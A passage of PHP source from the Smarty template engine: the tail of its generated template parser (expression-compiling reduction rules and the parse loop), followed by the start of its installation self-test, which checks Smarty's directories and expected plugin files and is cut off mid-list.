    $this->_retvalue = '->'.$this->yystack[$this->yyidx + 0]->minor;
    }
// line 1024 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r143(){
    $this->_retvalue = $this->compiler->compilePHPFunctionCall($this->yystack[$this->yyidx + -3]->minor, $this->yystack[$this->yyidx + -1]->minor);
    }
// line 1032 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r144(){
    if ($this->security && substr($this->yystack[$this->yyidx + -3]->minor,0,1) === '_') {
        $this->compiler->trigger_template_error (self::ERR1);
    }
    $this->_retvalue = $this->yystack[$this->yyidx + -3]->minor . '('. implode(',',$this->yystack[$this->yyidx + -1]->minor) .')';
    }
// line 1039 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r145(){
    if ($this->security) {
        $this->compiler->trigger_template_error (self::ERR2);
    }
    $prefixVar = $this->compiler->getNewPrefixVariable();
    $this->compiler->appendPrefixCode("<?php {$prefixVar} = ".$this->compiler->compileVariable('\''.substr($this->yystack[$this->yyidx + -3]->minor,1).'\'').';?>');
    $this->_retvalue = $prefixVar .'('. implode(',',$this->yystack[$this->yyidx + -1]->minor) .')';
    }
// line 1050 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r146(){
    $this->_retvalue = array_merge($this->yystack[$this->yyidx + -2]->minor,array($this->yystack[$this->yyidx + 0]->minor));
    }
// line 1067 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r149(){
    $this->_retvalue = array_merge($this->yystack[$this->yyidx + -2]->minor,array(array_merge($this->yystack[$this->yyidx + -1]->minor,$this->yystack[$this->yyidx + 0]->minor)));
    }
// line 1071 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r150(){
    $this->_retvalue = array(array_merge($this->yystack[$this->yyidx + -1]->minor,$this->yystack[$this->yyidx + 0]->minor));
    }
// line 1079 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r152(){
    $this->_retvalue =  array($this->yystack[$this->yyidx + 0]->minor);
    }
// line 1087 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r153(){
    $this->_retvalue = array_merge($this->yystack[$this->yyidx + -1]->minor,$this->yystack[$this->yyidx + 0]->minor);
    }
// line 1100 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r156(){
    $this->_retvalue = array(trim($this->yystack[$this->yyidx + -1]->minor).$this->yystack[$this->yyidx + 0]->minor);
    }
// line 1109 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r158(){
    $this->_retvalue = array($this->yystack[$this->yyidx + 0]->minor, '', 'method');
    }
// line 1114 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r159(){
    $this->_retvalue = array($this->yystack[$this->yyidx + -1]->minor, $this->yystack[$this->yyidx + 0]->minor, 'method');
    }
// line 1119 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r160(){
    $this->_retvalue = array($this->yystack[$this->yyidx + 0]->minor, '');
    }
// line 1124 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r161(){
    $this->_retvalue = array($this->yystack[$this->yyidx + -1]->minor, $this->yystack[$this->yyidx + 0]->minor, 'property');
    }
// line 1129 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r162(){
    $this->_retvalue = array($this->yystack[$this->yyidx + -2]->minor, $this->yystack[$this->yyidx + -1]->minor.$this->yystack[$this->yyidx + 0]->minor, 'property');
    }
// line 1135 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r163(){
    $this->_retvalue = ' '. trim($this->yystack[$this->yyidx + 0]->minor) . ' ';
    }
// line 1139 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r164(){
    static $lops = array(
        'eq' => ' == ',
        'ne' => ' != ',
        'neq' => ' != ',
        'gt' => ' > ',
        'ge' => ' >= ',
        'gte' => ' >= ',
        'lt' =>  ' < ',
        'le' =>  ' <= ',
        'lte' => ' <= ',
        'mod' =>  ' % ',
        'and' => ' && ',
        'or' => ' || ',
        'xor' => ' xor ',
         );
    $op = strtolower(preg_replace('/\s*/', '', $this->yystack[$this->yyidx + 0]->minor));
    $this->_retvalue = $lops[$op];
    }
// line 1158 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r165(){
     static $tlops = array(
         'isdivby' => array('op' => ' % ', 'pre' => '!('),
         'isnotdivby' => array('op' => ' % ', 'pre' => '('),
         'isevenby' => array('op' => ' / ', 'pre' => '!(1 & '),
         'isnotevenby' => array('op' => ' / ', 'pre' => '(1 & '),
         'isoddby' => array('op' => ' / ', 'pre' => '(1 & '),
         'isnotoddby' => array('op' => ' / ', 'pre' => '!(1 & '),
         );
     $op = strtolower(preg_replace('/\s*/', '', $this->yystack[$this->yyidx + 0]->minor));
     $this->_retvalue = $tlops[$op];
     }
// line 1171 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r166(){
        static $scond = array (
            'iseven' => '!(1 & ',
            'isnoteven' => '(1 & ',
            'isodd' => '(1 & ',
            'isnotodd' => '!(1 & ',
        );
   $op = strtolower(str_replace(' ', '', $this->yystack[$this->yyidx + 0]->minor));
   $this->_retvalue = $scond[$op];
    }
// line 1185 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r167(){
    $this->_retvalue = 'array('.$this->yystack[$this->yyidx + -1]->minor.')';
    }
// line 1196 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r170(){
    $this->_retvalue = $this->yystack[$this->yyidx + -2]->minor.','.$this->yystack[$this->yyidx + 0]->minor;
    }
// line 1204 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r172(){
    $this->_retvalue = $this->yystack[$this->yyidx + -2]->minor.'=>'.$this->yystack[$this->yyidx + 0]->minor;
    }
// line 1208 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r173(){ 
    $this->_retvalue = '\''.$this->yystack[$this->yyidx + -2]->minor.'\'=>'.$this->yystack[$this->yyidx + 0]->minor;
    }
// line 1224 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r176(){
    $this->compiler->leaveDoubleQuote();
    $this->_retvalue = $this->yystack[$this->yyidx + -1]->minor->to_smarty_php($this);
    }
// line 1230 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r177(){
    $this->yystack[$this->yyidx + -1]->minor->append_subtree($this, $this->yystack[$this->yyidx + 0]->minor);
    $this->_retvalue = $this->yystack[$this->yyidx + -1]->minor;
    }
// line 1235 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r178(){
    $this->_retvalue = new Smarty_Internal_ParseTree_Dq($this, $this->yystack[$this->yyidx + 0]->minor);
    }
// line 1239 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r179(){
    $this->_retvalue = new Smarty_Internal_ParseTree_Code('(string)'.$this->yystack[$this->yyidx + -1]->minor);
    }
// line 1243 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r180(){
    $this->_retvalue = new Smarty_Internal_ParseTree_Code('(string)('.$this->yystack[$this->yyidx + -1]->minor.')');
    }
// line 1247 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r181(){
    $this->_retvalue = new Smarty_Internal_ParseTree_Code('(string)$_smarty_tpl->tpl_vars[\''. substr($this->yystack[$this->yyidx + 0]->minor,1) .'\']->value');
    }
// line 1259 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r184(){
    $this->_retvalue = new Smarty_Internal_ParseTree_Tag($this, $this->yystack[$this->yyidx + 0]->minor);
    }
// line 1263 "../smarty/lexer/smarty_internal_templateparser.y"
    public function yy_r185(){
    $this->_retvalue = new Smarty_Internal_ParseTree_DqContent($this->yystack[$this->yyidx + 0]->minor);
    }

    private $_retvalue;

    public function yy_reduce($yyruleno)
    {
        if ($this->yyTraceFILE && $yyruleno >= 0
              && $yyruleno < count(self::$yyRuleName)) {
            fprintf($this->yyTraceFILE, "%sReduce (%d) [%s].\n",
                $this->yyTracePrompt, $yyruleno,
                self::$yyRuleName[$yyruleno]);
        }

        $this->_retvalue = $yy_lefthand_side = null;
        if (isset(self::$yyReduceMap[$yyruleno])) {
            // call the action
            $this->_retvalue = null;
            $this->{'yy_r' . self::$yyReduceMap[$yyruleno]}();
            $yy_lefthand_side = $this->_retvalue;
        }
        $yygoto = self::$yyRuleInfo[$yyruleno][0];
        $yysize = self::$yyRuleInfo[$yyruleno][1];
        $this->yyidx -= $yysize;
        for ($i = $yysize; $i; $i--) {
            // pop all of the right-hand side parameters
            array_pop($this->yystack);
        }
        $yyact = $this->yy_find_reduce_action($this->yystack[$this->yyidx]->stateno, $yygoto);
        if ($yyact < self::YYNSTATE) {
            if (!$this->yyTraceFILE && $yysize) {
                $this->yyidx++;
                $x = new TP_yyStackEntry;
                $x->stateno = $yyact;
                $x->major = $yygoto;
                $x->minor = $yy_lefthand_side;
                $this->yystack[$this->yyidx] = $x;
            } else {
                $this->yy_shift($yyact, $yygoto, $yy_lefthand_side);
            }
        } elseif ($yyact === self::YYNSTATE + self::YYNRULE + 1) {
            $this->yy_accept();
        }
    }

    public function yy_parse_failed()
    {
        if ($this->yyTraceFILE) {
            fprintf($this->yyTraceFILE, "%sFail!\n", $this->yyTracePrompt);
        } while ($this->yyidx >= 0) {
            $this->yy_pop_parser_stack();
        }
    }

    public function yy_syntax_error($yymajor, $TOKEN)
    {
// line 213 "../smarty/lexer/smarty_internal_templateparser.y"

    $this->internalError = true;
    $this->yymajor = $yymajor;
    $this->compiler->trigger_template_error();
    }

    public function yy_accept()
    {
        if ($this->yyTraceFILE) {
            fprintf($this->yyTraceFILE, "%sAccept!\n", $this->yyTracePrompt);
        } while ($this->yyidx >= 0) {
            $this->yy_pop_parser_stack();
        }
// line 206 "../smarty/lexer/smarty_internal_templateparser.y"

    $this->successful = !$this->internalError;
    $this->internalError = false;
    $this->retvalue = $this->_retvalue;
    }

    public function doParse($yymajor, $yytokenvalue)
    {
        $yyerrorhit = 0;   /* True if yymajor has invoked an error */

        if ($this->yyidx === null || $this->yyidx < 0) {
            $this->yyidx = 0;
            $this->yyerrcnt = -1;
            $x = new TP_yyStackEntry;
            $x->stateno = 0;
            $x->major = 0;
            $this->yystack = array();
            $this->yystack[] = $x;
        }
        $yyendofinput = ($yymajor==0);

        if ($this->yyTraceFILE) {
            fprintf($this->yyTraceFILE, "%sInput %s\n",
                $this->yyTracePrompt, $this->yyTokenName[$yymajor]);
        }

        do {
            $yyact = $this->yy_find_shift_action($yymajor);
            if ($yymajor < self::YYERRORSYMBOL &&
                  !$this->yy_is_expected_token($yymajor)) {
                // force a syntax error
                $yyact = self::YY_ERROR_ACTION;
            }
            if ($yyact < self::YYNSTATE) {
                $this->yy_shift($yyact, $yymajor, $yytokenvalue);
                $this->yyerrcnt--;
                if ($yyendofinput && $this->yyidx >= 0) {
                    $yymajor = 0;
                } else {
                    $yymajor = self::YYNOCODE;
                }
            } elseif ($yyact < self::YYNSTATE + self::YYNRULE) {
                $this->yy_reduce($yyact - self::YYNSTATE);
            } elseif ($yyact === self::YY_ERROR_ACTION) {
                if ($this->yyTraceFILE) {
                    fprintf($this->yyTraceFILE, "%sSyntax Error!\n",
                        $this->yyTracePrompt);
                }
                if (self::YYERRORSYMBOL) {
                    if ($this->yyerrcnt < 0) {
                        $this->yy_syntax_error($yymajor, $yytokenvalue);
                    }
                    $yymx = $this->yystack[$this->yyidx]->major;
                    if ($yymx === self::YYERRORSYMBOL || $yyerrorhit) {
                        if ($this->yyTraceFILE) {
                            fprintf($this->yyTraceFILE, "%sDiscard input token %s\n",
                                $this->yyTracePrompt, $this->yyTokenName[$yymajor]);
                        }
                        $this->yy_destructor($yymajor, $yytokenvalue);
                        $yymajor = self::YYNOCODE;
                    } else {
                        while ($this->yyidx >= 0 &&
                                 $yymx !== self::YYERRORSYMBOL &&
        ($yyact = $this->yy_find_shift_action(self::YYERRORSYMBOL)) >= self::YYNSTATE
                              ){
                            $this->yy_pop_parser_stack();
                        }
                        if ($this->yyidx < 0 || $yymajor==0) {
                            $this->yy_destructor($yymajor, $yytokenvalue);
                            $this->yy_parse_failed();
                            $yymajor = self::YYNOCODE;
                        } elseif ($yymx !== self::YYERRORSYMBOL) {
                            $u2 = 0;
                            $this->yy_shift($yyact, self::YYERRORSYMBOL, $u2);
                        }
                    }
                    $this->yyerrcnt = 3;
                    $yyerrorhit = 1;
                } else {
                    if ($this->yyerrcnt <= 0) {
                        $this->yy_syntax_error($yymajor, $yytokenvalue);
                    }
                    $this->yyerrcnt = 3;
                    $this->yy_destructor($yymajor, $yytokenvalue);
                    if ($yyendofinput) {
                        $this->yy_parse_failed();
                    }
                    $yymajor = self::YYNOCODE;
                }
            } else {
                $this->yy_accept();
                $yymajor = self::YYNOCODE;
            }
        } while ($yymajor !== self::YYNOCODE && $this->yyidx >= 0);
    }
}

<?php
/**
 * Smarty Internal TestInstall
 * Test Smarty installation
 *
 * @package    Smarty
 * @subpackage Utilities
 * @author     Uwe Tews
 */

/**
 * TestInstall class
 *
 * @package    Smarty
 * @subpackage Utilities
 */
class Smarty_Internal_TestInstall
{
    /**
     * diagnose Smarty setup
     * If $errors is secified, the diagnostic report will be appended to the array, rather than being output.
     *
     * @param \Smarty $smarty
     * @param array   $errors array to push results into rather than outputting them
     *
     * @return bool status, true if everything is fine, false else
     */
    public static function testInstall(Smarty $smarty, &$errors = null)
    {
        $status = true;
        if ($errors === null) {
            echo "<PRE>\n";
            echo "Smarty Installation test...\n";
            echo "Testing template directory...\n";
        }
        $_stream_resolve_include_path = function_exists('stream_resolve_include_path');
        // test if all registered template_dir are accessible
        foreach ($smarty->getTemplateDir() as $template_dir) {
            $_template_dir = $template_dir;
            $template_dir = realpath($template_dir);
            // resolve include_path or fail existence
            if (!$template_dir) {
                if ($smarty->use_include_path && !preg_match('/^([\/\\\\]|[a-zA-Z]:[\/\\\\])/', $_template_dir)) {
                    // try PHP include_path
                    if ($_stream_resolve_include_path) {
                        $template_dir = stream_resolve_include_path($_template_dir);
                    } else {
                        $template_dir = $smarty->ext->_getIncludePath->getIncludePath($_template_dir, null, $smarty);
                    }
                    if ($template_dir !== false) {
                        if ($errors === null) {
                            echo "$template_dir is OK.\n";
                        }
                        continue;
                    } else {
                        $status = false;
                        $message =
                            "FAILED: $_template_dir does not exist (and couldn't be found in include_path either)";
                        if ($errors === null) {
                            echo $message . ".\n";
                        } else {
                            $errors[ 'template_dir' ] = $message;
                        }
                        continue;
                    }
                } else {
                    $status = false;
                    $message = "FAILED: $_template_dir does not exist";
                    if ($errors === null) {
                        echo $message . ".\n";
                    } else {
                        $errors[ 'template_dir' ] = $message;
                    }
                    continue;
                }
            }
            if (!is_dir($template_dir)) {
                $status = false;
                $message = "FAILED: $template_dir is not a directory";
                if ($errors === null) {
                    echo $message . ".\n";
                } else {
                    $errors[ 'template_dir' ] = $message;
                }
            } elseif (!is_readable($template_dir)) {
                $status = false;
                $message = "FAILED: $template_dir is not readable";
                if ($errors === null) {
                    echo $message . ".\n";
                } else {
                    $errors[ 'template_dir' ] = $message;
                }
            } else {
                if ($errors === null) {
                    echo "$template_dir is OK.\n";
                }
            }
        }
        if ($errors === null) {
            echo "Testing compile directory...\n";
        }
        // test if registered compile_dir is accessible
        $__compile_dir = $smarty->getCompileDir();
        $_compile_dir = realpath($__compile_dir);
        if (!$_compile_dir) {
            $status = false;
            $message = "FAILED: {$__compile_dir} does not exist";
            if ($errors === null) {
                echo $message . ".\n";
            } else {
                $errors[ 'compile_dir' ] = $message;
            }
        } elseif (!is_dir($_compile_dir)) {
            $status = false;
            $message = "FAILED: {$_compile_dir} is not a directory";
            if ($errors === null) {
                echo $message . ".\n";
            } else {
                $errors[ 'compile_dir' ] = $message;
            }
        } elseif (!is_readable($_compile_dir)) {
            $status = false;
            $message = "FAILED: {$_compile_dir} is not readable";
            if ($errors === null) {
                echo $message . ".\n";
            } else {
                $errors[ 'compile_dir' ] = $message;
            }
        } elseif (!is_writable($_compile_dir)) {
            $status = false;
            $message = "FAILED: {$_compile_dir} is not writable";
            if ($errors === null) {
                echo $message . ".\n";
            } else {
                $errors[ 'compile_dir' ] = $message;
            }
        } else {
            if ($errors === null) {
                echo "{$_compile_dir} is OK.\n";
            }
        }
        if ($errors === null) {
            echo "Testing plugins directory...\n";
        }
        // test if all registered plugins_dir are accessible
        // and if core plugins directory is still registered
        $_core_plugins_dir = realpath(__DIR__ . '/../plugins');
        $_core_plugins_available = false;
        foreach ($smarty->getPluginsDir() as $plugin_dir) {
            $_plugin_dir = $plugin_dir;
            $plugin_dir = realpath($plugin_dir);
            // resolve include_path or fail existence
            if (!$plugin_dir) {
                if ($smarty->use_include_path && !preg_match('/^([\/\\\\]|[a-zA-Z]:[\/\\\\])/', $_plugin_dir)) {
                    // try PHP include_path
                    if ($_stream_resolve_include_path) {
                        $plugin_dir = stream_resolve_include_path($_plugin_dir);
                    } else {
                        $plugin_dir = $smarty->ext->_getIncludePath->getIncludePath($_plugin_dir, null, $smarty);
                    }
                    if ($plugin_dir !== false) {
                        if ($errors === null) {
                            echo "$plugin_dir is OK.\n";
                        }
                        continue;
                    } else {
                        $status = false;
                        $message = "FAILED: $_plugin_dir does not exist (and couldn't be found in include_path either)";
                        if ($errors === null) {
                            echo $message . ".\n";
                        } else {
                            $errors[ 'plugins_dir' ] = $message;
                        }
                        continue;
                    }
                } else {
                    $status = false;
                    $message = "FAILED: $_plugin_dir does not exist";
                    if ($errors === null) {
                        echo $message . ".\n";
                    } else {
                        $errors[ 'plugins_dir' ] = $message;
                    }
                    continue;
                }
            }
            if (!is_dir($plugin_dir)) {
                $status = false;
                $message = "FAILED: $plugin_dir is not a directory";
                if ($errors === null) {
                    echo $message . ".\n";
                } else {
                    $errors[ 'plugins_dir' ] = $message;
                }
            } elseif (!is_readable($plugin_dir)) {
                $status = false;
                $message = "FAILED: $plugin_dir is not readable";
                if ($errors === null) {
                    echo $message . ".\n";
                } else {
                    $errors[ 'plugins_dir' ] = $message;
                }
            } elseif ($_core_plugins_dir && $_core_plugins_dir == realpath($plugin_dir)) {
                $_core_plugins_available = true;
                if ($errors === null) {
                    echo "$plugin_dir is OK.\n";
                }
            } else {
                if ($errors === null) {
                    echo "$plugin_dir is OK.\n";
                }
            }
        }
        if (!$_core_plugins_available) {
            $status = false;
            $message = "WARNING: Smarty's own libs/plugins is not available";
            if ($errors === null) {
                echo $message . ".\n";
            } elseif (!isset($errors[ 'plugins_dir' ])) {
                $errors[ 'plugins_dir' ] = $message;
            }
        }
        if ($errors === null) {
            echo "Testing cache directory...\n";
        }
        // test if all registered cache_dir is accessible
        $__cache_dir = $smarty->getCacheDir();
        $_cache_dir = realpath($__cache_dir);
        if (!$_cache_dir) {
            $status = false;
            $message = "FAILED: {$__cache_dir} does not exist";
            if ($errors === null) {
                echo $message . ".\n";
            } else {
                $errors[ 'cache_dir' ] = $message;
            }
        } elseif (!is_dir($_cache_dir)) {
            $status = false;
            $message = "FAILED: {$_cache_dir} is not a directory";
            if ($errors === null) {
                echo $message . ".\n";
            } else {
                $errors[ 'cache_dir' ] = $message;
            }
        } elseif (!is_readable($_cache_dir)) {
            $status = false;
            $message = "FAILED: {$_cache_dir} is not readable";
            if ($errors === null) {
                echo $message . ".\n";
            } else {
                $errors[ 'cache_dir' ] = $message;
            }
        } elseif (!is_writable($_cache_dir)) {
            $status = false;
            $message = "FAILED: {$_cache_dir} is not writable";
            if ($errors === null) {
                echo $message . ".\n";
            } else {
                $errors[ 'cache_dir' ] = $message;
            }
        } else {
            if ($errors === null) {
                echo "{$_cache_dir} is OK.\n";
            }
        }
        if ($errors === null) {
            echo "Testing configs directory...\n";
        }
        // test if all registered config_dir are accessible
        foreach ($smarty->getConfigDir() as $config_dir) {
            $_config_dir = $config_dir;
            // resolve include_path or fail existence
            if (!$config_dir) {
                if ($smarty->use_include_path && !preg_match('/^([\/\\\\]|[a-zA-Z]:[\/\\\\])/', $_config_dir)) {
                    // try PHP include_path
                    if ($_stream_resolve_include_path) {
                        $config_dir = stream_resolve_include_path($_config_dir);
                    } else {
                        $config_dir = $smarty->ext->_getIncludePath->getIncludePath($_config_dir, null, $smarty);
                    }
                    if ($config_dir !== false) {
                        if ($errors === null) {
                            echo "$config_dir is OK.\n";
                        }
                        continue;
                    } else {
                        $status = false;
                        $message = "FAILED: $_config_dir does not exist (and couldn't be found in include_path either)";
                        if ($errors === null) {
                            echo $message . ".\n";
                        } else {
                            $errors[ 'config_dir' ] = $message;
                        }
                        continue;
                    }
                } else {
                    $status = false;
                    $message = "FAILED: $_config_dir does not exist";
                    if ($errors === null) {
                        echo $message . ".\n";
                    } else {
                        $errors[ 'config_dir' ] = $message;
                    }
                    continue;
                }
            }
            if (!is_dir($config_dir)) {
                $status = false;
                $message = "FAILED: $config_dir is not a directory";
                if ($errors === null) {
                    echo $message . ".\n";
                } else {
                    $errors[ 'config_dir' ] = $message;
                }
            } elseif (!is_readable($config_dir)) {
                $status = false;
                $message = "FAILED: $config_dir is not readable";
                if ($errors === null) {
                    echo $message . ".\n";
                } else {
                    $errors[ 'config_dir' ] = $message;
                }
            } else {
                if ($errors === null) {
                    echo "$config_dir is OK.\n";
                }
            }
        }
        if ($errors === null) {
            echo "Testing sysplugin files...\n";
        }
        // test if sysplugins are available
        $source = SMARTY_SYSPLUGINS_DIR;
        if (is_dir($source)) {
            $expectedSysplugins = array(
                'smartycompilerexception.php'                               => true,
                'smartyexception.php'                                       => true,
                'smarty_cacheresource.php'                                  => true,
                'smarty_cacheresource_custom.php'                           => true,
                'smarty_cacheresource_keyvaluestore.php'                    => true,
                'smarty_data.php'                                           => true,
                'smarty_internal_block.php'                                 => true,
                'smarty_internal_cacheresource_file.php'                    => true,
                'smarty_internal_compilebase.php'                           => true,
                'smarty_internal_compile_append.php'                        => true,
                'smarty_internal_compile_assign.php'                        => true,
                'smarty_internal_compile_block.php'                         => true,
                'smarty_internal_compile_block_child.php'                   => true,
                'smarty_internal_compile_block_parent.php'                  => true,
                'smarty_internal_compile_child.php'                         => true,
                'smarty_internal_compile_parent.php'                        => true,
                'smarty_internal_compile_break.php'                         => true,
                'smarty_internal_compile_call.php'                          => true,
                'smarty_internal_compile_capture.php'                       => true,
                'smarty_internal_compile_config_load.php'                   => true,
                'smarty_internal_compile_continue.php'                      => true,
                'smarty_internal_compile_debug.php'                         => true,
                'smarty_internal_compile_eval.php'                          => true,
                'smarty_internal_compile_extends.php'                       => true,
                'smarty_internal_compile_for.php'                           => true,
                'smarty_internal_compile_foreach.php'                       => true,
                'smarty_internal_compile_function.php'                      => true,
                'smarty_internal_compile_if.php'                            => true,
                'smarty_internal_compile_include.php'                       => true,
                'smarty_internal_compile_insert.php'                        => true,
                'smarty_internal_compile_ldelim.php'                        => true,
                'smarty_internal_compile_make_nocache.php'                  => true,
                'smarty_internal_compile_nocache.php'                       => true,
                'smarty_internal_compile_private_block_plugin.php'          => true,
                'smarty_internal_compile_private_foreachsection.php'        => true,
                'smarty_internal_compile_private_function_plugin.php'       => true,
                'smarty_internal_compile_private_modifier.php'              => true,
                'smarty_internal_compile_private_object_block_function.php' => true,
                'smarty_internal_compile_private_object_function.php'       => true,
                'smarty_internal_compile_private_print_expression.php'      => true,
                'smarty_internal_compile_private_registered_block.php'      => true,
                'smarty_internal_compile_private_registered_function.php'   => true,
                'smarty_internal_compile_private_special_variable.php'      => true,
                'smarty_internal_compile_rdelim.php'                        => true,
                'smarty_internal_compile_section.php'                       => true,
                'smarty_internal_compile_setfilter.php'                     => true,
                'smarty_internal_compile_shared_inheritance.php'            => true,
                'smarty_internal_compile_while.php'                         => true,
                'smarty_internal_configfilelexer.php'                       => true,
                'smarty_internal_configfileparser.php'                      => true,
                'smarty_internal_config_file_compiler.php'                  => true,
                'smarty_internal_data.php'                                  => true,
                'smarty_internal_debug.php'                                 => true,
                'smarty_internal_extension_handler.php'                     => true,
                'smarty_internal_method_addautoloadfilters.php'             => true,
                'smarty_internal_method_adddefaultmodifiers.php'            => true,
                'smarty_internal_method_append.php'                         => true,
                'smarty_internal_method_appendbyref.php'                    => true,
                'smarty_internal_method_assignbyref.php'                    => true,
                'smarty_internal_method_assignglobal.php'                   => true,
                'smarty_internal_method_clearallassign.php'                 => true,
                'smarty_internal_method_clearallcache.php'                  => true,
                'smarty_internal_method_clearassign.php'                    => true,
                'smarty_internal_method_clearcache.php'                     => true,
                'smarty_internal_method_clearcompiledtemplate.php'          => true,
                'smarty_internal_method_clearconfig.php'                    => true,
                'smarty_internal_method_compileallconfig.php'               => true,
                'smarty_internal_method_compilealltemplates.php'            => true,
                'smarty_internal_method_configload.php'                     => true,
                'smarty_internal_method_createdata.php'                     => true,
                'smarty_internal_method_getautoloadfilters.php'             => true,
                'smarty_internal_method_getconfigvariable.php'              => true,
                'smarty_internal_method_getconfigvars.php'                  => true,
                'smarty_internal_method_getdebugtemplate.php'               => true,
                'smarty_internal_method_getdefaultmodifiers.php'            => true,
                'smarty_internal_method_getglobal.php'                      => true,
                'smarty_internal_method_getregisteredobject.php'            => true,
                'smarty_internal_method_getstreamvariable.php'              => true,
                'smarty_internal_method_gettags.php'                        => true,
                'smarty_internal_method_gettemplatevars.php'                => true,
                'smarty_internal_method_literals.php'                       => true,
                'smarty_internal_method_loadfilter.php'                     => true,
                'smarty_internal_method_loadplugin.php'                     => true,
                'smarty_internal_method_mustcompile.php'                    => true,
                'smarty_internal_method_registercacheresource.php'          => true,
                'smarty_internal_method_registerclass.php'                  => true,
                'smarty_internal_method_registerdefaultconfighandler.php'   => true,
                'smarty_internal_method_registerdefaultpluginhandler.php'   => true,
                'smarty_internal_method_registerdefaulttemplatehandler.php' => true,
                'smarty_internal_method_registerfilter.php'                 => true,
                'smarty_internal_method_registerobject.php'                 => true,
                'smarty_internal_method_registerplugin.php'                 => true,
                'smarty_internal_method_registerresource.php'               => true,
                'smarty_internal_method_setautoloadfilters.php'             => true,
                'smarty_internal_method_setdebugtemplate.php'               => true,
                'smarty_internal_method_setdefaultmodifiers.php'            => true,
                'smarty_internal_method_unloadfilter.php'                   => true,
                'smarty_internal_method_unregistercacheresource.php'        => true,
                'smarty_internal_method_unregisterfilter.php'               => true,
                'smarty_internal_method_unregisterobject.php'               => true,
                'smarty_internal_method_unregisterplugin.php'               => true,
                'smarty_internal_method_unregisterresource.php'             => true,
                'smarty_internal_nocache_insert.php'                        => true,
                'smarty_internal_parsetree.php'                             => true,
                'smarty_internal_parsetree_code.php'                        => true,
                'smarty_internal_parsetree_dq.php'                          => true,
                'smarty_internal_parsetree_dqcontent.php'                   => true,
                'smarty_internal_parsetree_tag.php'                         => true,
                'smarty_internal_parsetree_template.php'                    => true,
                'smarty_internal_parsetree_text.php'                        => true,
                'smarty_internal_resource_eval.php'                         => true,
                'smarty_internal_resource_extends.php'                      => true,
                'smarty_internal_resource_file.php'                         => true,
                'smarty_internal_resource_php.php'                          => true,
                'smarty_internal_resource_stream.php'                       => true,
                'smarty_internal_resource_string.php'                       => true,
                'smarty_internal_runtime_cachemodify.php'                   => true,
                'smarty_internal_runtime_cacheresourcefile.php'             => true,
                'smarty_internal_runtime_capture.php'                       => true,
                'smarty_internal_runtime_codeframe.php'                     => true,
                'smarty_internal_runtime_filterhandler.php'                 => true,
                'smarty_internal_runtime_foreach.php'                       => true,
                'smarty_internal_runtime_getincludepath.php'                => true,
                'smarty_internal_runtime_inheritance.php'                   => true,
                'smarty_internal_runtime_make_nocache.php'                  => true,
                'smarty_internal_runtime_tplfunction.php'                   => true,
                'smarty_internal_runtime_updatecache.php'                   => true,
                'smarty_internal_runtime_updatescope.php'                   => true,
                'smarty_internal_runtime_writefile.php'                     => true,
                'smarty_internal_smartytemplatecompiler.php'                => true,
                'smarty_internal_template.php'                              => true,
                'smarty_internal_templatebase.php'                          => true,
                'smarty_internal_templatecompilerbase.php'                  => true,
                'smarty_internal_templatelexer.php'                         => true,
                'smarty_internal_templateparser.php'                        => true,
                'smarty_internal_testinstall.php'                           => true,
                'smarty_internal_undefined.php'                             => true,
                'smarty_resource.php'                                       => true,
                'smarty_resource_custom.php'                                => true,
                'smarty_resource_recompiled.php'                            => true,
                'smarty_resource_uncompiled.php'                            => true,
                'smarty_security.php'                                       => true,
                'smarty_template_cached.php'                                => true,
                'smarty_template_compiled.php'                              => true,
                'smarty_template_config.php'                                => true,
                'smarty_template_resource_base.php'                         => true,
                'smarty_template_source.php'                                => true,
                'smarty_undefined_variable.php'                             => true,
                'smarty_variable.php'                                       => true,
            );
            $iterator = new DirectoryIterator($source);
            foreach ($iterator as $file) {
                if (!$file->isDot()) {
                    $filename = $file->getFilename();
                    if (isset($expectedSysplugins[ $filename ])) {
                        unset($expectedSysplugins[ $filename ]);
                    }
                }
            }
            if ($expectedSysplugins) {
                $status = false;
                $message = "FAILED: files missing from libs/sysplugins: " . join(', ', array_keys($expectedSysplugins));
                if ($errors === null) {
                    echo $message . ".\n";
                } else {
                    $errors[ 'sysplugins' ] = $message;
                }
            } elseif ($errors === null) {
                echo "... OK\n";
            }
        } else {
            $status = false;
            $message = "FAILED: " . SMARTY_SYSPLUGINS_DIR . ' is not a directory';
            if ($errors === null) {
                echo $message . ".\n";
            } else {
                $errors[ 'sysplugins_dir_constant' ] = $message;
            }
        }
        if ($errors === null) {
            echo "Testing plugin files...\n";
        }
        // test if core plugins are available
        $source = SMARTY_PLUGINS_DIR;
        if (is_dir($source)) {
            $expectedPlugins = array(
                'block.textformat.php'                  => true,
                'function.counter.php'                  => true,
                'function.cycle.php'                    => true,
                'function.fetch.php'                    => true,
                'function.html_checkboxes.php'          => true,
                'function.html_image.php'               => true,
                'function.html_options.php'             => true,
                'function.html_radios.php'              => true,
                'function.html_select_date.php'         => true,
                'function.html_select_time.php'         => true,
